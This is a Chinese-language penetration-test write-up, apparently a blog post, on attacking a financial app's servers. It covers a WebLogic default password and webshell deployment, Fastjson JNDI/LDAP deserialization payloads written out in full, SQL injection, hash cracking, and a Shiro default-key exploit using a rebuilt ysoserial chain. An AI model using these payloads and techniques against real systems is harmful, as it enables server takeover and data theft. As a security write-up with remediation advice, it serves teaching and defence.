本文记录了一次金融类 App 的渗透测试过程，重点分析了 WebLogic 弱口令、Fastjson 反序列化、任意文件上传、后台弱口令、SQL 注入及 Shiro 反序列化等漏洞。通过端口扫描定位中间件，利用版本差异成功获取 Shell，并修复了依赖版本不匹配问题。测试揭示了开发过程中的配置疏忽与安全意识薄弱，提出了组件升级、输入验证及权限管理等加固建议。
本次渗透测试的目标为一个新建的金融类移动应用程序。在测试初期，通过抓包工具对 App 的网络通信进行分析，发现其请求与响应数据包均经过了复杂的加密处理，这增加了直接逆向分析的难度。然而，在排查网络端口时，发现目标服务器开放了 7002 端口，这是一个典型的 WebLogic 管理控制台默认端口。基于此线索，我们决定将攻击面转向中间件层面的漏洞利用。
访问目标服务器的 7002 端口后，确认运行的是 Oracle WebLogic Server。页面显示了标准的 WebLogic 登录界面。由于近期 WebLogic 相关漏洞频发，且该版本可能存在已知配置缺陷，我们首先尝试了常见的弱口令组合进行暴力破解。
经过多次尝试，包括 console/console、weblogic/weblogic 等常见组合均未成功。但在查阅社区公开的安全情报及参考特定版本的已知风险后，我们尝试了 weblogic/weblogic123 组合。验证结果显示，该账户拥有管理员权限。值得注意的是，部分旧版本的 WebLogic jar 包可能未启用某些安全策略，导致弱口令更容易生效。
成功登录管理控制台后，利用 WebLogic 的远程部署功能，我们可以上传恶意的 WAR 包文件。通过构造包含 JSP 木马的 WAR 包并部署至应用服务器，即可实现远程代码执行（GetShell）。这一步为我们后续深入分析业务逻辑提供了底层权限支持。
在获得服务器权限后，我们检查了已部署的应用程序目录。在第一个站点的 lib 目录下，发现了 fastjson 库文件，版本号为 1.1.39。此外，开发人员在服务器上留下了用于调试的 debug 页面，暴露了部分内部路径信息。Fastjson 是一个广泛使用的 Java JSON 解析库，但历史上存在多个严重的反序列化漏洞。
针对 Fastjson 1.1.39 版本，我们尝试了多种 Payload 进行利用。
首先，使用了针对较新版本（如 1.2.47）的 Payload，包含 JdbcRowSetImpl 类调用 LDAP 协议：
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog","autoCommit":true}}}
该 Payload 未能触发预期效果。随后，我们调整策略，尝试了针对旧版本特性的 Payload，其中涉及 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory：
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://dnslog"}}
此次尝试成功触发了 DNSLog 回调，证实了远程命令执行漏洞的存在。不同版本的 Fastjson 对反序列化类的白名单机制不同，导致 Payload 的兼容性差异。
继续分析第一个站点的源代码，重点关注文件上传模块。发现存在一个上传接口 /file/upload.do，且后端代码中未对上传文件的后缀名、MIME 类型进行严格校验。
构造包含恶意脚本的文件（如 .jsp 或 .jspx）进行上传请求。虽然服务器返回了上传成功的状态码，但在查看文件系统时发现，文件并未被放置在 Web 可访问的根目录下，而是被保存到了临时目录 /temp 中。这意味着虽然存在上传漏洞，但由于存储位置不可直接访问，无法直接通过 URL 访问 Webshell，需要结合其他手段（如日志包含、本地文件读取）来进一步利用。
转向第二个站点，通过 WebLogic 后台查询部署上下文，发现了一个独立的登录入口。为了绕过前端认证，我们尝试连接后端数据库。根据配置文件中的信息，成功建立了数据库连接。
数据库中大部分敏感数据经过加密处理，直接读取无意义。但在 Oracle 安装目录下，意外发现了一些遗留的 SQL 脚本文件。这些文件中包含了测试用的明文数据。通过对 admin 用户的 MD5 哈希值进行离线破解，最终还原出原始密码为 admin123。这表明开发人员在生产环境中仍保留了弱口令习惯，且未对测试数据进行彻底清理。
进入后台管理系统后，注意到搜索框功能。出于职业习惯，我们在输入框中输入单引号 ' 进行测试。系统返回了数据库错误信息，表明输入未被过滤，存在 SQL 注入风险。
确认注入点后，使用自动化扫描工具配合手动构造 Payload 进行验证。通过 UNION SELECT 语句，成功获取了数据库结构信息及敏感数据。此类漏洞通常源于开发者直接将用户输入拼接到 SQL 语句中，未使用预编译语句（PreparedStatement）。
在第二个站点的 lib 目录中，发现了 Apache Shiro 安全框架的依赖包。Shiro 也是一个低版本的实现，且使用了默认的加密密钥（Key）。通常情况下，Shiro 默认 Key 是公开的，可以直接生成 Cookie 进行身份伪造。
尝试使用通用的 Ysoserial 工具生成利用链，但发现一直无法成功反弹 Shell。经过深入分析源码，发现项目中引用的 commons-beanutils 版本为 1.8.3。而 Ysoserial 中常用的 CommonsBeanutils1 利用链依赖于 commons-beanutils 1.9.2 及以上版本。版本不匹配导致了 Gadget Chain 失效。
为解决版本冲突问题，我们修改了 Ysoserial 源码，将 commons-beanutils 的版本降级为 1.8.3 并重新打包。再次生成 Payload 后，成功实现了远程命令执行，获取了服务器 Shell。这提醒我们在利用反序列化漏洞时，必须精确匹配目标环境的依赖版本。
本次渗透测试过程中，虽然遇到了一些技术挑战，如 Fastjson 版本差异和 Shiro 依赖版本不匹配，但最终通过细致的分析和环境适配成功复现了多个高危漏洞。主要发现的问题包括中间件弱口令、反序列化漏洞、文件上传限制缺失以及 SQL 注入等。
安全建议：
通过本次实战，再次印证了'木桶效应'在网络安全中的重要性，任何一个环节的疏忽都可能导致整体防线的崩溃。
本次测试主要使用了 Burp Suite 进行流量拦截与重放，JDK 自带工具进行基础检测，以及 Ysoserial 进行反序列化 Payload 生成。环境方面，测试机安装了 Kali Linux 系统，确保各类安全工具的可用性。
根据 CVSS 评分标准，WebLogic 弱口令与 Shiro 反序列化属于高危漏洞，可直接导致服务器失陷；SQL 注入与文件上传属于中高危漏洞，视具体场景而定。建议优先修复高危项。
微信公众号「极客日志」，在微信中扫描左侧二维码关注。展示文案：极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具，Keycode 信息在线工具，online
JavaScript 字符串转义/反转义；Java 风格 \uXXXX（Native2Ascii）编码与解码。 在线工具，Escape 与 Native 编解码在线工具，online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具，JavaScript / HTML 格式化在线工具，online
Terser 压缩、变量名混淆，或 javascript-obfuscator 高强度混淆（体积会增大）。 在线工具，JavaScript 压缩与混淆在线工具，online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具，Base64 字符串编码/解码在线工具，online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具，Base64 文件转换器在线工具，online